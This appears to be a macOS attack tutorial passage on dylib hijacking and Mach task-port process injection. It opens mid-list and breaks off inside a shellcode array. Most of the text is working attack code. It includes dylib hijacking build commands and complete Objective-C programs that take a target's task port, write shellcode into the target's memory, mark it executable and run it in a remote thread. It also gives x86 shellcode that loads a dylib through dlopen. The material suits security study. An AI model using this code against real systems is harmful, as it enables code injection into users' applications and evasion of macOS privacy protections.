cp hello hello-signed codesign -s "Your Certificate Name" --options=runtime hello-signed
-
Test dylib injection on hardened runtime binary:
- Attempts to inject a dylib into a binary with hardened runtime enabled should fail if the dylib does not match the code-signing requirements.
DYLD_INSERT_LIBRARIES=example.dylib ./hello-signed
- Attempts to inject a dylib into a binary with hardened runtime enabled should fail if the dylib does not match the code-signing requirements.
-
Set library validation requirement and test:
- Enforcing library validation to ensure that all loaded libraries are signed with the same certificate as the main executable.
codesign -f -s "Your Certificate Name" --options=library hello-signed
DYLD_INSERT_LIBRARIES=example.dylib ./hello-signed
Setting the CS_RESTRICT Flag
-
Setting the CS_RESTRICT flag on a binary:
- Manually setting the CS_RESTRICT flag using the
codesigncommand with the--option=0x800flag. This is not typical in standard practice but can be used to enforce stricter security measures.
- Manually setting the CS_RESTRICT flag using the
codesign -f -s "Your Certificate Name" --option=0x800 hello-signed
-
Verifying the signature and the CS_RESTRICT flag:
- After setting the flag, verify that it has been applied correctly using the
codesign -dvcommand to display detailed information about the code signing status of the binary.
- After setting the flag, verify that it has been applied correctly using the
codesign -dv hello-signed
Setting the CS_RESTRICT flag enhances security by restricting how the binary can be modified or interacted with, particularly by dynamic libraries. As With CS_RESTRICT set, any attempt to inject dynamic libraries using mechanisms like DYLD_INSERT_LIBRARIES will fail unless they meet specific security criteria, usually involving matching signatures.
Dylib Hijacking
Most important load commands & functions from a dylib hijacking point of view are the following:
| Command | Description | Relevance in DYLIB Hijacking |
|---|---|---|
LC_LOAD_DYLIB |
Specifies a path to a dynamically linked shared library. The library must be present for the binary to load and run successfully. | Hijackers can place a malicious dylib at the specified path, allowing it to be loaded instead of the legitimate library. |
LC_LOAD_WEAK_DYLIB |
Similar to LC_LOAD_DYLIB, but allows the application to run even if the dylib is not present or fails to load. |
Allows more flexibility for attackers since the absence of the dylib does not prevent the application from running. This means a malicious dylib can be inserted without immediate detection. |
LC_REEXPORT_DYLIB |
Used to re-export symbols from another dylib, essentially forwarding all requests for symbols to another library. | An attacker can use this command to make a malicious dylib appear as a proxy for a legitimate library, tricking the application into using it as if it were the original. |
LC_LOAD_UPWARD_DYLIB |
Specifies a dylib that should be loaded, but is typically used when two dylibs are interdependent (i.e., each relies on the other). | Can be exploited in complex scenarios where multiple interdependent libraries are involved, allowing an attacker to insert a malicious component into a dependency chain. |
Dylib Hijacking Scenarios
1. LC_LOAD_DYLIB
Scenario: An application uses a common library like libpng.dylib for image processing. The library is loaded via LC_LOAD_DYLIB with a path pointing to /usr/local/lib/libpng.dylib. An attacker gains write access to /usr/local/lib/ and replaces libpng.dylib with a malicious version. When the application is launched, the dynamic linker loads the malicious dylib instead of the legitimate one, allowing the attacker to execute arbitrary code within the context of the application.
2. LC_LOAD_WEAK_DYLIB
Scenario: A video editing software includes optional support for a plugin via a weakly linked library libplugin.dylib, referenced by LC_LOAD_WEAK_DYLIB. The software functions normally without this plugin if it’s not found. An attacker can drop a malicious libplugin.dylib into an expected search path (exploiting the weak link nature). The next time the software tries to load this plugin, it will inadvertently load the attacker’s dylib, enabling the attacker to manipulate or control the software.
3. LC_REEXPORT_DYLIB
Scenario: A system utility uses LC_REEXPORT_DYLIB to re-export libssl.dylib, allowing all symbols of libssl.dylib to be available to any module loaded by the utility. An attacker replaces the libssl.dylib with a malicious version on a system where the utility has permissions to write, or tricks the utility into loading the malicious version from a controlled path. The utility then inadvertently exports the symbols from the malicious library to other parts of the application, leading to widespread impact across the utility’s functionalities.
4. LC_LOAD_UPWARD_DYLIB
Scenario: An application uses two interdependent libraries, libA.dylib and libB.dylib, loaded via LC_LOAD_UPWARD_DYLIB. Both libraries depend on each other to function correctly. An attacker manages to replace libA.dylib with a malicious variant that still satisfies the dependency requirements of libB.dylib. When libB.dylib loads and calls functions from libA.dylib, it executes malicious code embedded by the attacker, potentially compromising data processed by libB.dylib.
5. dlopen
Scenario: A network monitoring tool dynamically loads custom extensions based on user configuration. The tool uses dlopen to load user_extension.dylib specified in a user-editable configuration file without verifying the path or authenticity of the file. An attacker modifies the configuration file to point dlopen to a malicious dylib located on a network share or a local path controlled by the attacker. When the tool executes and calls dlopen, it loads the malicious dylib, granting the attacker control over the network monitoring tool’s operations and data.
Test Apps for Dylib Hijacking
- Variables and it’s paths
| Variable | Description | Example Usage |
|---|---|---|
@executable_path |
Replaced with the path to the directory containing the main executable. Useful for loading dylibs/frameworks within the application bundle. | Path of Main Executable: /some/path/My.app/Contents/MacOS/MyPath to Framework: /some/path/My.app/Contents/Frameworks/Foo.framework/Versions/A/FooLoad Command: @executable_path/../Frameworks/Foo.framework/Versions/A/FooThis setup allows the application directory to be relocated without breaking the path dependencies. |
@loader_path |
Replaced with the path to the directory containing the binary that includes the load command. Useful for plugins or modules with unknown final filesystem locations. | Path of Plugin Executable: /some/path/Myfilter.plugin/Contents/MacOS/MyfilterPath to Framework: /some/path/Myfilter.plugin/Contents/Frameworks/Foo.framework/Versions/A/FooLoad Command: @loader_path/../Frameworks/Foo.framework/Versions/A/FooThis allows the plugin directory to be movable without affecting the dynamic linking of embedded frameworks. |
@rpath |
A runtime search path used by the linker to locate dylibs. Multiple @rpath entries can be specified. These are usually set at compile time and can be overridden at runtime. |
Application Example: /some/path/MyApp.app/Contents/MacOS/MyAppLibrary Example: /some/other/path/libMyLib.dylibLoad Command in MyApp: @rpath/libMyLib.dylibPossible RPATH Entries: 1. @executable_path/../Frameworks2. /usr/local/libThis allows flexible library referencing that adapts based on runtime conditions or application deployment configurations. |
LC_LOAD_WEAK_DYLIB
- Test using
LC_LOAD_WEAK_DYLIB
1- First check the app/binary security and if it's exploitable
You can check when the app is vulnerable from my previous analysis from here: https://zeyadazima.com/macos/CVE_2023_26818_P1/#the-analysis
codesign -dv --entitlements :- /path/to/app
2- Secondly grep `LC_LOAD_WEAK_DYLIB` from load commands using `otool`
otool -l /path/to/app | grep LC_LOAD_WEAK_DYLIB -A 5
3- Check the dylib path and if it's exist or no
ls -l path_from_LC_LOAD_WEAK_DYLIB
Rpath-based dylib hijacking
1- Grep the paths where is used for loading
otool -l /path/to/app | grep LC_RPATH -A 2
2- Grep the path where @rpath is used, Also check the library version
otool -l /path/to/app | grep @rpath -A 3
3- Check the library path and if t's exist
ls -l /path/to/app{@rpath}/lib.dylib
dlopen dylib hijacking
the search path will default to the following (as noted at DYLD_FALLBACK_LIBRARY_PATH):
$HOME/lib
/usr/local/lib
/usr/lib
current directory
Monitor file system events to check the files
sudo fs_usage
Then look for dylibs that been requested and repeated in the search paths.
Exploit Dylib Hijacking
- A
dylibtest code:
#import <Foundation/Foundation.h>
__attribute__((constructor))
void custom(int argc, const char **argv)
{
NSLog(@"Dylib hijack successful in %s",argv[0]);
}
- Exploitation steps
After identifying which dylib is vulnerable, Compile the test code
gcc -dynamiclib -current_version {version} -compatibility_version {version} -framework Foundation test.m -Wl,-reexport_library,"Hijacked dylib path" -o hijack.dylib
Check the reexport path
otool -l hijack.dylib| grep REEXPORT -A 2
Finally, set the full path to the library and copy it to the hijacking path
install_name_tool -change @rpath/lib.dylib "Library path" hijack.dylib
Mach IPC & Injection
Fundamentals of IPC via Bootstrap Server
- Task A Creation Steps:
- Create Port with RECEIVE Right: Task A starts by creating a new communication port for which it holds the RECEIVE right. This right allows Task A to receive messages sent to this port.
- Create SEND Right: Task A then creates a SEND right for the same port, which will be used to allow other tasks to send messages to this port.
- Bootstrap Server Registration:
- Register SEND Right: Task A registers the SEND right with the bootstrap server under a specific service name. This is a crucial step as it associates the SEND right with a recognizable service name that other tasks can refer to.
- Task B Lookup and Communication:
- Lookup Service Name: Task B queries the bootstrap server to find the service name. If found, the server provides Task B with a copy of the SEND right.
- Send Message Using SEND Right: Now equipped with the SEND right, Task B constructs a message and sends it to Task A using the SEND right.
Secured Communication Model with Launchd as Bootstrap Server
Apple stores system-provided service names in configuration files that also contain the associated binary for each service. These files are located at /System/Library/LaunchDaemons and /System/Library/LaunchAgents, SIP protected locations which are considered secure.
- Task B Service Lookup:
- Lookup Service Name: Task B initiates the communication by requesting a service name from
launchd. This is the first step in establishing a communication link.
- Lookup Service Name: Task B initiates the communication by requesting a service name from
- launchd Service Management:
- Check If Service Is Running:
launchdchecks whether the requested service (Task A) is already running. If not, it starts Task A. - Start Task A: If the service is not already running,
launchdinitiates Task A.
- Check If Service Is Running:
- Task A Registration and Rights Management:
- Bootstrap Check-in: Once started, Task A performs a bootstrap check-in with
launchd. During this process,launchdassigns the RECEIVE right to Task A and retains a SEND right for itself. - Create SEND Right and Transfer RECEIVE Right:
launchdensures that it keeps a SEND right (to control future access) and transfers the RECEIVE right to Task A.
- Bootstrap Check-in: Once started, Task A performs a bootstrap check-in with
- Service Access by Task B:
- Send Copy of SEND Right to Task B: Finally,
launchdcreates a copy of the SEND right and sends it to Task B. This step allows Task B to communicate securely with Task A using the established protocol.
- Send Copy of SEND Right to Task B: Finally,
Mach Special Ports
| Port | Description |
|---|---|
HOST_PORT |
Allows retrieval of system information. With a SEND right to this port, functions like host_processor_info can be executed to gather data about the system’s processors. |
HOST_PRIV_PORT |
A privileged version of the HOST_PORT. Possessing a SEND right here enables performing privileged actions such as kext_request, used for loading or unloading kernel extensions. Access to this port typically requires root privileges and specific entitlements like com.apple.private.kext*, reflecting its high-security implications. |
Task Port |
Known as the task’s kernel port, it controls access to a specific task. Having a SEND right to a task’s port enables full control over the task, including the ability to read and write its virtual memory, and manage its threads. This port provides significant power over the task, regardless of the user’s privilege level, making its access highly restricted. |
- since
macOS10.11, AppleMobileFileIntegrity (AMFI) plays a key role in access control.macos_task_policyhave the following rules:
| Rule | Description and Implications |
|---|---|
| com.apple.security.get-task-allow | This entitlement allows any process operating at the same user level as the application to access its task port. Commonly used in debug builds for attaching debuggers, this entitlement is risky for distributed applications as it exposes significant control over the application’s execution. Applications with this entitlement are likely to be rejected during Apple’s notarization process because it poses a high security risk. |
| com.apple.system-task-ports | Grants the ability to access the task ports of any process, except those of the kernel. This entitlement is typically reserved for Apple’s proprietary software and is indicative of the strict privileges maintained within Apple’s software ecosystem. Older references to this entitlement as task_for_pid-allow are outdated, and modern security mechanisms like taskgated and AMFI no longer check for this older term. |
| Root User Access on Non-Hardened Applications | If an application is not an Apple platform binary and lacks hardened runtime, root users can access its ports. Although root access has been curtailed significantly by security measures like SIP and TCC, which restrict root capabilities on critical system locations and sensitive user data, obtaining port access can still offer pathways to exploit these remaining privileges. This capability highlights the ongoing relevance of root access in circumventing newer security restrictions on macOS. |
While at first glance, exploiting application permissions to gain root might not seem to offer additional privileges, Apple’s ongoing enhancement of security measures makes this strategy increasingly valuable. Starting with System Integrity Protection (SIP), often referred to as “rootless,” Apple significantly restricted root access to essential system locations. This protection was further tightened with the introduction of Transparency, Consent, and Control (TCC) privacy measures, which restrict root access to sensitive user data areas like Documents and AddressBook. Therefore, by injecting code into an application that retains access to these protected areas, one can circumvent these restrictions and gain valuable access and insights, despite the limitations imposed on the root user.
Injection through Mach Ports
Get Identifier
Get app "Identifier=" using codesign
codesign -dv /Path_to_app
Get Process ID
#import <Foundation/Foundation.h>
#import <AppKit/AppKit.h>
#include <mach/mach_vm.h>
#include <sys/sysctl.h>
uid_t get_uid(pid_t pid)
{
uid_t uid = 0;
struct kinfo_proc process;
size_t buffer_size = sizeof(process);
// Compose search path for sysctl. Here you can specify PID directly.
const u_int mib_len = 4;
int mib[mib_len] = {CTL_KERN, KERN_PROC, KERN_PROC_PID, pid};
int sysctl_result = sysctl(mib, mib_len, &process, &buffer_size, NULL, 0);
// If sysctl did not fail and process with PID available - take UID.
if ((sysctl_result == 0) && (buffer_size != 0)) {
uid = process.kp_eproc.e_ucred.cr_uid;
}
return uid;
}
pid_t get_pid(NSString* bundle_id) {
pid_t pid = 0;
uid_t uid = -1;
//find applications with bundle ID
NSArray *runningApplications = [NSRunningApplication runningApplicationsWithBundleIdentifier:bundle_id];
//check if any found at all
if (runningApplications.count > 1) {
for (id app in runningApplications) {
pid = [app processIdentifier];
uid = get_uid(pid);
if (uid != 0) {
//if not root (=0) return
NSLog(@"[+] Got %@ PID: %d\n", bundle_id, pid);
return pid;
}
}
}
//if we got here, t means that we didn't find an instance
printf("[-] There is no instance of the application running as user, exiting...\n");
exit(-1);
}
int main(int argc, const char * argv[]) {
NSString* bundleId = [NSString stringWithUTF8String:argv[1]];
pid_t pid = get_pid(bundleId);
return (0);
}
- Compile
gcc -framework Foundation -framework Appkit getPID.m -o getPID
get_uid(pid_t pid)
- Purpose: This function fetches the UID associated with a given PID, which is useful to determine the user under which a process is running.
- Implementation:
- It initializes a
struct kinfo_procto store process information. - It prepares an array
mibwith parameters that tellsysctlwhich information to retrieve, specifically the process info for a given PID. - The
sysctlfunction is called with these parameters to fill theprocessstructure with the process information. - If
sysctlsuccessfully retrieves the information (buffer_sizeis not zero), it extracts the UID from theprocessstructure.
- It initializes a
get_pid(NSString* bundle_id)
- Purpose: This function finds the PID of an application running with a specific bundle identifier. It ensures that the application is running under a user account (non-root).
- Implementation:
- It calls
NSRunningApplication’s class methodrunningApplicationsWithBundleIdentifier:which returns an array ofNSRunningApplicationinstances representing each running application with the specified bundle identifier. - It iterates over this array, retrieving the PID of each application instance using the
processIdentifiermethod. - For each PID, it calls
get_uidto check if the process is running as root (UID 0). If the process is running as a non-root user, it returns the PID.
- It calls
main(int argc, const char * argv[])
- Purpose: This is the main entry point of the program. It sets up the environment and calls other functions to perform specific tasks.
- Implementation:
- It uses an autorelease pool to manage the memory of objects created during the execution of the program automatically.
- It defines the target application’s bundle identifier and calls
get_pidto find the PID of this application. - If a valid PID is found, it prints the PID; otherwise, it prints an error message.
Get SEND Rights (task port)
#import <Foundation/Foundation.h>
#import <AppKit/AppKit.h>
#include <mach/mach_vm.h>
#include <sys/sysctl.h>
uid_t get_uid(pid_t pid)
{
uid_t uid = 0;
struct kinfo_proc process;
size_t buffer_size = sizeof(process);
// Compose search path for sysctl. Here you can specify PID directly.
const u_int mib_len = 4;
int mib[mib_len] = {CTL_KERN, KERN_PROC, KERN_PROC_PID, pid};
int sysctl_result = sysctl(mib, mib_len, &process, &buffer_size, NULL, 0);
// If sysctl did not fail and process with PID available - take UID.
if ((sysctl_result == 0) && (buffer_size != 0)) {
uid = process.kp_eproc.e_ucred.cr_uid;
}
return uid;
}
pid_t get_pid(NSString* bundle_id) {
pid_t pid = 0;
uid_t uid = -1;
//find applications with bundle ID
NSArray *runningApplications = [NSRunningApplication runningApplicationsWithBundleIdentifier:bundle_id];
//check if any found at all
if (runningApplications.count > 1) {
for (id app in runningApplications) {
pid = [app processIdentifier];
uid = get_uid(pid);
if (uid != 0) {
//if not root (=0) return
NSLog(@"[+] Got %@ PID: %d\n", bundle_id, pid);
return pid;
}
}
}
//if we got here, t means that we didn't find an instance
printf("[-] There is no instance of the application running as user, exiting...\n");
exit(-1);
}
int main(int argc, const char * argv[]) {
NSString* bundleId = [NSString stringWithUTF8String:argv[1]];
pid_t pid = get_pid(bundleId);
task_t remoteTask;
kern_return_t kr = task_for_pid(mach_task_self(), pid, &remoteTask);
if (kr != KERN_SUCCESS) {
printf("[-] Failed to get task port for pid:%d, error: %s\n", pid, mach_error_string(kr));
return(-1);
}
else {
NSLog(@"[+] Got access to the task port of %d: %u\n", pid, remoteTask);
}
return (0);
}
- Compile
gcc -framework Foundation -framework Appkit getTaskPort.m -o getTaskPort
- Fetching the PID and Task Port:
- Fetching Application Instance: The application instance is obtained using
NSRunningApplication’srunningApplicationsWithBundleIdentifier:method, which returns an array of applications matching the given bundle identifier. - PID Extraction: The process identifier (PID) is extracted from the first application instance that matches the provided bundle identifier.
- Task Port Retrieval: The
task_for_pidfunction is used to get the Mach task port for the process identified by the PID. This function requires the caller to have appropriate privileges, typically necessitating elevated rights.
- Fetching Application Instance: The application instance is obtained using
task_for_pid(mach_task_self(), pid, &remoteTask)
- Purpose: This Mach API function is used to obtain the task port of another process, which is essential for performing various system-level operations on that process.
- Parameters:
- mach_task_self(): Represents the task port of the current process, used here for permission context.
- pid: The PID of the target process.
- &remoteTask: A pointer to a
task_tvariable where the task port of the target process will be stored upon successful execution.
- Output: Returns a
kern_return_tvalue that indicates the success or failure of the operation. If successful,remoteTaskwill contain the task port.
Allocate & Write to Process Memory
#import <Foundation/Foundation.h>
#import <AppKit/AppKit.h>
#include <mach/mach_vm.h>
#include <sys/sysctl.h>
#define STACK_SIZE 0x1000
#define CODE_SIZE 128
char shellcode[] = "Your Shellcode";
uid_t get_uid(pid_t pid)
{
uid_t uid = 0;
struct kinfo_proc process;
size_t buffer_size = sizeof(process);
// Compose search path for sysctl. Here you can specify PID directly.
const u_int mib_len = 4;
int mib[mib_len] = {CTL_KERN, KERN_PROC, KERN_PROC_PID, pid};
int sysctl_result = sysctl(mib, mib_len, &process, &buffer_size, NULL, 0);
// If sysctl did not fail and process with PID available - take UID.
if ((sysctl_result == 0) && (buffer_size != 0)) {
uid = process.kp_eproc.e_ucred.cr_uid;
}
return uid;
}
pid_t get_pid(NSString* bundle_id) {
pid_t pid = 0;
uid_t uid = -1;
//find applications with bundle ID
NSArray *runningApplications = [NSRunningApplication runningApplicationsWithBundleIdentifier:bundle_id];
//check if any found at all
if (runningApplications.count > 1) {
for (id app in runningApplications) {
pid = [app processIdentifier];
uid = get_uid(pid);
if (uid != 0) {
//if not root (=0) return
NSLog(@"[+] Got %@ PID: %d\n", bundle_id, pid);
return pid;
}
}
}
//if we got here, t means that we didn't find an instance
printf("[-] There is no instance of the application running as user, exiting...\n");
exit(-1);
}
int main(int argc, const char * argv[]) {
NSString* bundleId = [NSString stringWithUTF8String:argv[1]];
pid_t pid = get_pid(bundleId);
task_t remoteTask;
kern_return_t kr = task_for_pid(mach_task_self(), pid, &remoteTask);
if (kr != KERN_SUCCESS) {
printf("[-] Failed to get task port for pid:%d, error: %s\n", pid, mach_error_string(kr));
return(-1);
}
else {
NSLog(@"[+] Got access to the task port of %d: %u\n", pid, remoteTask);
}
mach_vm_address_t remoteStack64 = (vm_address_t) NULL;
mach_vm_address_t remoteCode64 = (vm_address_t) NULL;
kr = mach_vm_allocate(remoteTask, &remoteStack64, STACK_SIZE, VM_FLAGS_ANYWHERE);
if (kr != KERN_SUCCESS) {
printf("[-] Failed to allocate stack memory in remote thread, error: %s\n", mach_error_string(kr));
exit(-1);
} else {
NSLog(@"[+] Allocated RemoteStack: 0x%llx\n", remoteStack64);
}
kr = mach_vm_allocate( remoteTask, &remoteCode64, CODE_SIZE, VM_FLAGS_ANYWHERE );
if (kr != KERN_SUCCESS) {
printf("[-] Failed to allocate code memory in remote thread, error: %s\n", mach_error_string(kr));
exit(-1);
} else {
NSLog(@"[+] Allocated RemoteCode placeholder: 0x%llx\n", remoteCode64);
}
kr = mach_vm_write(remoteTask, remoteCode64, (vm_address_t) shellcode, CODE_SIZE);
if (kr != KERN_SUCCESS) {
printf("[-] Failed to write into remote thread memory, error: %s\n", mach_error_string(kr));
exit(-1);
} else{
NSLog(@"[+] Injected Shellcode Into RemoteThreadMemmory !");
}
return (0);
}
- Compile
gcc -framework Foundation -framework Appkit allocateWrite.m -o allocateWrite
- Allocating Memory in the Target Process:
- The
mach_vm_allocatefunction is used to allocate memory in the target process. In this case, it allocates memory for both the shellcode and the stack. remoteStack64is a pointer to the allocated stack memory, whileremoteCode64is a pointer to the allocated memory for the shellcode.
- The
- Writing Shellcode to the Target Process:
- The
mach_vm_writefunction is used to write the shellcode into the allocated memory space of the target process.
- The
Set Memory Permisssions for Stack & Code
#import <Foundation/Foundation.h>
#import <AppKit/AppKit.h>
#include <mach/mach_vm.h>
#include <sys/sysctl.h>
#define STACK_SIZE 0x1000
#define CODE_SIZE 128
char shellcode[] = "Your Shellcode";
uid_t get_uid(pid_t pid)
{
uid_t uid = 0;
struct kinfo_proc process;
size_t buffer_size = sizeof(process);
// Compose search path for sysctl. Here you can specify PID directly.
const u_int mib_len = 4;
int mib[mib_len] = {CTL_KERN, KERN_PROC, KERN_PROC_PID, pid};
int sysctl_result = sysctl(mib, mib_len, &process, &buffer_size, NULL, 0);
// If sysctl did not fail and process with PID available - take UID.
if ((sysctl_result == 0) && (buffer_size != 0)) {
uid = process.kp_eproc.e_ucred.cr_uid;
}
return uid;
}
pid_t get_pid(NSString* bundle_id) {
pid_t pid = 0;
uid_t uid = -1;
//find applications with bundle ID
NSArray *runningApplications = [NSRunningApplication runningApplicationsWithBundleIdentifier:bundle_id];
//check if any found at all
if (runningApplications.count > 1) {
for (id app in runningApplications) {
pid = [app processIdentifier];
uid = get_uid(pid);
if (uid != 0) {
//if not root (=0) return
NSLog(@"[+] Got %@ PID: %d\n", bundle_id, pid);
return pid;
}
}
}
//if we got here, t means that we didn't find an instance
printf("[-] There is no instance of the application running as user, exiting...\n");
exit(-1);
}
int main(int argc, const char * argv[]) {
NSString* bundleId = [NSString stringWithUTF8String:argv[1]];
pid_t pid = get_pid(bundleId);
task_t remoteTask;
kern_return_t kr = task_for_pid(mach_task_self(), pid, &remoteTask);
if (kr != KERN_SUCCESS) {
printf("[-] Failed to get task port for pid:%d, error: %s\n", pid, mach_error_string(kr));
return(-1);
}
else {
NSLog(@"[+] Got access to the task port of %d: %u\n", pid, remoteTask);
}
mach_vm_address_t remoteStack64 = (vm_address_t) NULL;
mach_vm_address_t remoteCode64 = (vm_address_t) NULL;
kr = mach_vm_allocate(remoteTask, &remoteStack64, STACK_SIZE, VM_FLAGS_ANYWHERE);
if (kr != KERN_SUCCESS) {
printf("[-] Failed to allocate stack memory in remote thread, error: %s\n", mach_error_string(kr));
exit(-1);
} else {
NSLog(@"[+] Allocated RemoteStack: 0x%llx\n", remoteStack64);
}
kr = mach_vm_allocate( remoteTask, &remoteCode64, CODE_SIZE, VM_FLAGS_ANYWHERE );
if (kr != KERN_SUCCESS) {
printf("[-] Failed to allocate code memory in remote thread, error: %s\n", mach_error_string(kr));
exit(-1);
} else {
NSLog(@"[+] Allocated RemoteCode placeholder: 0x%llx\n", remoteCode64);
}
kr = mach_vm_write(remoteTask, remoteCode64, (vm_address_t) shellcode, CODE_SIZE);
if (kr != KERN_SUCCESS) {
printf("[-] Failed to write into remote thread memory, error: %s\n", mach_error_string(kr));
exit(-1);
} else{
NSLog(@"[+] Injected Shellcode Into RemoteThreadMemmory !");
}
kr = vm_protect(remoteTask, remoteCode64, CODE_SIZE, FALSE, VM_PROT_READ | VM_PROT_EXECUTE);
if (kr != KERN_SUCCESS) {
printf("[!] Failed to give injected code memory proper permissions, error: %s\n", mach_error_string(kr));
exit(-1);
} else{
NSLog(@"[+] VM_PROT_READ | VM_PROT_EXECUTE Applied on Code Memory !");
}
kr = vm_protect(remoteTask, remoteStack64, STACK_SIZE, TRUE, VM_PROT_READ | VM_PROT_WRITE);
if (kr != KERN_SUCCESS) {
printf("[!] Failed to give stack memory proper permissions, error: %s\n", mach_error_string(kr));
exit(-1);
} else {
NSLog(@"[+] VM_PROT_READ | VM_PROT_WRITE Applied on Stack Memory !");
}
return (0);
}
- Compile
gcc -framework Foundation -framework Appkit setMemory.m -o setMemory
- Setting Memory Protections:
vm_protectis used to set the memory protections for the shellcode and stack.- The shellcode memory is set to be readable and executable (
VM_PROT_READ | VM_PROT_EXECUTE), while the stack is set to be readable and writable (VM_PROT_READ | VM_PROT_WRITE).
Execute the Shellcode
#import <Foundation/Foundation.h>
#import <AppKit/AppKit.h>
#include <mach/mach_vm.h>
#include <sys/sysctl.h>
#define STACK_SIZE 0x1000
#define CODE_SIZE 128
char shellcode[] = "Your Shellcode";
uid_t get_uid(pid_t pid)
{
uid_t uid = 0;
struct kinfo_proc process;
size_t buffer_size = sizeof(process);
// Compose search path for sysctl. Here you can specify PID directly.
const u_int mib_len = 4;
int mib[mib_len] = {CTL_KERN, KERN_PROC, KERN_PROC_PID, pid};
int sysctl_result = sysctl(mib, mib_len, &process, &buffer_size, NULL, 0);
// If sysctl did not fail and process with PID available - take UID.
if ((sysctl_result == 0) && (buffer_size != 0)) {
uid = process.kp_eproc.e_ucred.cr_uid;
}
return uid;
}
pid_t get_pid(NSString* bundle_id) {
pid_t pid = 0;
uid_t uid = -1;
//find applications with bundle ID
NSArray *runningApplications = [NSRunningApplication runningApplicationsWithBundleIdentifier:bundle_id];
//check if any found at all
if (runningApplications.count > 1) {
for (id app in runningApplications) {
pid = [app processIdentifier];
uid = get_uid(pid);
if (uid != 0) {
//if not root (=0) return
NSLog(@"[+] Got %@ PID: %d\n", bundle_id, pid);
return pid;
}
}
}
//if we got here, t means that we didn't find an instance
printf("[-] There is no instance of the application running as user, exiting...\n");
exit(-1);
}
int main(int argc, const char * argv[]) {
NSString* bundleId = [NSString stringWithUTF8String:argv[1]];
pid_t pid = get_pid(bundleId);
task_t remoteTask;
kern_return_t kr = task_for_pid(mach_task_self(), pid, &remoteTask);
if (kr != KERN_SUCCESS) {
printf("[-] Failed to get task port for pid:%d, error: %s\n", pid, mach_error_string(kr));
return(-1);
}
else {
NSLog(@"[+] Got access to the task port of %d: %u\n", pid, remoteTask);
}
mach_vm_address_t remoteStack64 = (vm_address_t) NULL;
mach_vm_address_t remoteCode64 = (vm_address_t) NULL;
kr = mach_vm_allocate(remoteTask, &remoteStack64, STACK_SIZE, VM_FLAGS_ANYWHERE);
if (kr != KERN_SUCCESS) {
printf("[-] Failed to allocate stack memory in remote thread, error: %s\n", mach_error_string(kr));
exit(-1);
} else {
NSLog(@"[+] Allocated RemoteStack: 0x%llx\n", remoteStack64);
}
kr = mach_vm_allocate( remoteTask, &remoteCode64, CODE_SIZE, VM_FLAGS_ANYWHERE );
if (kr != KERN_SUCCESS) {
printf("[-] Failed to allocate code memory in remote thread, error: %s\n", mach_error_string(kr));
exit(-1);
} else {
NSLog(@"[+] Allocated RemoteCode placeholder: 0x%llx\n", remoteCode64);
}
kr = mach_vm_write(remoteTask, remoteCode64, (vm_address_t) shellcode, CODE_SIZE);
if (kr != KERN_SUCCESS) {
printf("[-] Failed to write into remote thread memory, error: %s\n", mach_error_string(kr));
exit(-1);
} else{
NSLog(@"[+] Injected Shellcode Into RemoteThreadMemmory !");
}
kr = vm_protect(remoteTask, remoteCode64, CODE_SIZE, FALSE, VM_PROT_READ | VM_PROT_EXECUTE);
if (kr != KERN_SUCCESS) {
printf("[!] Failed to give injected code memory proper permissions, error: %s\n", mach_error_string(kr));
exit(-1);
} else{
NSLog(@"[+] VM_PROT_READ | VM_PROT_EXECUTE Applied on Code Memory !");
}
kr = vm_protect(remoteTask, remoteStack64, STACK_SIZE, TRUE, VM_PROT_READ | VM_PROT_WRITE);
if (kr != KERN_SUCCESS) {
printf("[!] Failed to give stack memory proper permissions, error: %s\n", mach_error_string(kr));
exit(-1);
} else {
NSLog(@"[+] VM_PROT_READ | VM_PROT_WRITE Applied on Stack Memory !");
}
x86_thread_state64_t remoteThreadState64;
memset(&remoteThreadState64, '\0', sizeof(remoteThreadState64) );
//shift stack
remoteStack64 += (STACK_SIZE / 2); // this is the real stack
printf ("[+] Remote Stack 64 0x%llx, Remote code is 0x%llx\n", remoteStack64, remoteCode64 );
// set remote instruction pointer
remoteThreadState64.__rip = (u_int64_t) remoteCode64;
printf("[+] Set RIP to 0x%llx\n", remoteCode64);
// set remote Stack Pointer
remoteThreadState64.__rsp = (u_int64_t) remoteStack64;
printf("[+] Set RSP to 0x%llx\n", remoteStack64);
remoteThreadState64.__rbp = (u_int64_t) remoteStack64;
printf("[+] Set RSP to 0x%llx\n", remoteStack64);
//thread variable
thread_act_t remoteThread;
printf("[+] Executing Shellcode Thread.......\n");
//create thread
kr = thread_create_running( remoteTask, x86_THREAD_STATE64,
(thread_state_t) &remoteThreadState64, x86_THREAD_STATE64_COUNT, &remoteThread);
if (kr != KERN_SUCCESS) {
printf("[-] Failed: error: %s\n", mach_error_string (kr));
return (-1);
}
printf("[+] Shellcode Executed xD\n");
return (0);
}
- Compile
gcc -framework Foundation -framework Appkit InjectCode.m -o InjectCode
thread_create_running: This function creates a new thread in the target process specified byremoteTask.- Parameters:
remoteTask: The task port of the target process.x86_THREAD_STATE64: Specifies the thread state flavor. In this case, it’s for x86_64 architecture.&remoteThreadState64: A pointer to the thread state data structure. This structure contains the initial register values for the new thread, including the instruction pointer (__rip), stack pointer (__rsp), and base pointer (__rbp).x86_THREAD_STATE64_COUNT: The number of valid thread state entries.&remoteThread: A pointer to a variable that will hold the newly created thread’s port.
- After the remote thread is created, it starts executing at the address specified by the instruction pointer (
__rip) in theremoteThreadState64structure. - Since the
__ripis set to the beginning of the allocated memory where the shellcode is placed, the thread starts executing the shellcode.
Inject Dylib
To load a dylin through the thread, We need to pormote the thread to POSIX thread, So by creating a POSIX thread from the existing Mach thread, We will load the dylib:
#include <dlfcn.h>
#import <Foundation/Foundation.h>
#import <AppKit/AppKit.h>
#include <mach/mach_vm.h>
#include <sys/sysctl.h>
#define STACK_SIZE 65536
#define CODE_SIZE 128
char shellcode[] =
"\x55" // push rbp
"\x48\x89\xE5" // mov rbp, rsp
"\x48\x83\xEC\x10" // sub rsp, 0x10
"\x48\x8D\x7D\xF8" // lea rdi, qword [rbp-8]
"\x48\x31\xc9" // xor rcx,rcx
"\x48\x31\xf6" // xor rsi,rsi
"\x48\x8D\x15\x0E\x00\x00\x00" // lea rdx, qword ptr [rip + 0xe]
"\x48\xB8" // movabs rax, pthread_create_from_mach_thread
"PTHRDCRT"
"\xFF\xD0" // call rax
"\xEB\xFE" // jmp -2
"\x55" // push rbp
"\x48\x89\xE5" // mov rbp, rsp
"\x48\x83\xEC\x10" // sub rsp, 0x10
"\x6A\x01" // push 1
"\x5E" // pop rsi
"\x48\x8D\x3D\x12\x00\x00\x00" // lea rdi, qword ptr [rip + 0x12]
"\x48\xB8" // movabs rax, dlopen
"DLOPEN__"
